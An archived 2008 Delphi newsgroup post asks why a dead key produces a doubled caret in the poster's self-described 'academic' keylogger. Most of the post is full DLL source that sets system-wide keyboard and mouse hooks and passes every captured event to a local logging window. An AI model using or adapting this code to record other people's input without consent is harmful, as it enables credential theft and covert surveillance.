Newsgroups : Borland : borland.public.delphi.nativeapi.win32 : 2008 Feb : Need help for an academic ' keylogger'

www.cryer.info
Managed Newsgroup Archive

Need help for an academic ' keylogger'

Subject:Need help for an academic ' keylogger'
Posted by:"rap" (voldemot-minus th..@laposte.net)
Date:Mon, 25 Feb 2008 12:18:57

::::::::::::::::::: CONTEXT ::::::::::::::::::::

On my keyboard (multilingual) i have this for some virtual keys:
VK_OEM_5  which is " | \ "  for US  give me a  " à "
VK_OEM_2  which is  " /? " for US  give me a  " é "
VK_OEM_7  whcih is " ' " " for US   give me a  " è "


Also, in non-US keyboard mappings, or in the US international keyboard, we
can use some keys to modify the character typed afterwards with an accent.
If i press one of these "accent" keys, a WM_DEADCHAR is generated and the
next WM_KEYDOWN of a vowel character will generate a WM_CHAR message with a
different char code representing the accented character.

This is the case for the caret. We get the accentuated " ê " applying the
method described above, pressing first the deadchar key VK_OEM_4  which is "
{[ "  for US and than pressing the " e " or any other voyel afterward.

It is the only accentuated voyel that use a DEADCHAR first.

::::::::::::::: QUESTION:::::::::::::::::::::
I have a keylogger code (dll) for which i can get the caret written the way
it should . When the VK_OEM_4 key is pressed it produces a double caret
(^^) instead of being dead, and the following voyel is not accentuated. All
other OEM code are fine (none of them are dead key).

Here the code for the keylogger:
------------------------------------------------

library HooK_DLL;

uses
  SysUtils,
  Windows,
  Messages,
  Classes,
  Dialogs;

{$R *.res}
type
  PTMapFile = ^TMapFile;
  TMapFile = record
    HMouseHook: Cardinal; // Handle hook mouse
    HKeybrdHook:  Cardinal; // Handle hook keyboard
    HMouseDestWindow  : Cardinal; // Handle windows that call mouse kook
    HKeybrdDestWindow : Cardinal; // Handle windows that call keyboard hook
  end;

  TMouseInfo = record
    aMsg:WParam;
    pt: TPoint;
    hwnd: HWND;
    wHitTestCode: UINT;
    dwExtraInfo: DWORD;
  end;

  TKeybrdInfo = record
    VirtualKey : Integer;       // virtual code of the key
    KeyStore   : Integer;       // state of key etc.(seer Sdk Windows-->
KeyboardProc)
    CurrentProcessId: Cardinal; // id of the concerned process
    CurrentControl: Cardinal;   // Handle of the control that has focus
    WindowHwnd: Cardinal;       // Handle of the concerned windows

  end;

var
  HMapFile   : Cardina l= 0;  //Handle of the maped file
  PMapFile   : PTMapFile = nil; // pointer on memory zone

function MouseProc(Code: integer; Msg: WPARAM; MouseHook: LPARAM):LRESULT;
stdcall;
var
  InfoEnvoye: TMouseInfo;         // data sent
  MouseStruct:TMouseHookStruct;
  CopyDataStruct: TCopyDataStruct;
begin
  Result:=0;
  if Code= HC_ACTION then   //if message has been received by the concerned
app.
  begin
    MouseStruct:= PMouseHookStruct(MouseHook)^;
    if PMapFile^.HMouseDestWindow<>0 then
    begin
      InfoEnvoye.pt:=MouseStruct.pt;
      InfoEnvoye.hWnd:=MouseStruct.hwnd;
      InfoEnvoye.wHitTestCode:=MouseStruct.wHitTestCode;
      InfoEnvoye.dwExtraInfo:=MouseStruct.dwExtraInfo;
      InfoEnvoye.AMsg:=  Msg;

      CopyDataStruct.cbData:= SizeOf(InfoEnvoye);
      CopyDataStruct.lpData:= @InfoEnvoye;

      SendMessage(PMapFile.HMouseDestWindow,
WM_COPYDATA,0,LongInt(@CopyDataStruct));
    end;
  end;
  if Code< HC_ACTION then Result:=
CallNextHookEx(PMapFile^.HMouseHook,Code,Msg,MouseHook);
end;

function BeginMouseHook(HDest: THandle):Boolean;stdcall;
begin
  Result:= False;
  if (HDest<>0) and (PMapFile^.HMouseHook=0) then
  begin
    // memorisation of the windows Handle that call the hook
    PMapFile^.HMouseDestWindow:= HDest;
    //initialisating mouse hook
    PMapFile^.HMouseHook:=
SetWindowsHookEx(WH_MOUSE,@MouseProc,HInstance,0);
    Result:= True;
  end;
end;

procedure EndMouseHook ;stdcall;
begin
  UnhookWindowsHookEx(PMapFile^.HMouseHook);
  PMapFile^.HMouseDestWindow:=0;
  PMapFile^.HMouseHook:=0;
end;

function KeyboardProc(Code: integer; VirtualKeyCode: WPARAM;
KeyStoreMsgInfo: LPARAM):LRESULT; stdcall;
var
  KeybrdInfo: TKeybrdInfo;
  CopyDataStruct: TCopyDataStruct;
begin
  Result:=0;
  if Code= HC_ACTION then   //si le message a été reçu par l'application
concerné
  begin

    KeybrdInfo.VirtualKey:= VirtualKeyCode;
    // to get arrow up / down working properly
    if VirtualKeyCode = VK_DOWN then Exit else
    if VirtualKeyCode = VK_UP then Exit else

     // virtual code of the key
    KeybrdInfo.KeyStore  := KeyStoreMsgInfo;  // relative info
    KeybrdInfo.CurrentProcessId:= GetCurrentProcessId;  // activ process
    KeybrdInfo.CurrentControl:= GetFocus;  // activ control
    KeybrdInfo.WindowHwnd:= GetActiveWindow;   // activ windows
                {filling data to  be sent to app}
    CopyDataStruct.cbData:= SizeOf(KeybrdInfo);
    CopyDataStruct.lpData:= @KeybrdInfo;
                {envoie e la structure }
    SendMessage(PMapFile^.HKeybrdDestWindow,WM_COPYDATA,1,LongInt(@CopyDataStruct));
  end;          {we send the value}
  if Code< HC_ACTION then Result:=
CallNextHookEx(PMapFile^.HKeybrdHook,Code,VirtualKeyCode,KeyStoreMsgInfo);
end;

function BeginKeybrdHook(HDest: THandle): Boolean;stdcall;
begin
  Result:= False;
  if (HDest<>0) and (PMapFile^.HKeybrdHook=0) then
  begin
    // memorising thewindows Handle that call the hook
    PMapFile^.HKeybrdDestWindow:= HDest;
    // initialisating the mouse hook
    PMapFile^.HKeybrdHook:=
SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc,HInstance,0);
    Result:= True;
  end;
end;

procedure EndKeybrdHook;stdcall;
begin
  UnhookWindowsHookEx(PMapFile^.HKeybrdHook);
  PMapFile^.HKeybrdDestWindow:=0;
  PMapFile^.HKeybrdHook:=0;
end;

Procedure LibraryProc(Reason:Integer);
begin
  case Reason of
    DLL_PROCESS_ATTACH:  {if dll is being charged}
     Begin                {creating memory zone}
      HMapFile :=
CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,sizeof(TMapFile),'NMB
HOOK');
                          {opening a view on data in memory}
      PMapFile := MapViewOfFile(HMapFile,FILE_MAP_WRITE,0, 0,0);
     end;
    DLL_PROCESS_DETACH:  {if dll is nearly being discharged}
     begin
      // killing the view on memory
      UnmapViewOfFile(PMapFile);
      // getting rid of share memory
      CloseHandle(HMapFile);
     end;
  end;
end;

Exports EndMouseHook;
Exports BeginMouseHook;
Exports BeginKeybrdHook;
Exports EndKeybrdHook;

begin
  DllProc:= @LibraryProc;
  LibraryProc(DLL_PROCESS_ATTACH);
end.
==============================================

Any key or mouse move (cut/paste etc.) is written in a log with info
regarding parent windows/control..

Any SOLUTION for the VK_OEM_4 key ?

Thank you

PS: this code is purely for academic purpose.
================================

Replies:

www.cryer.info
Managed Newsgroup Archive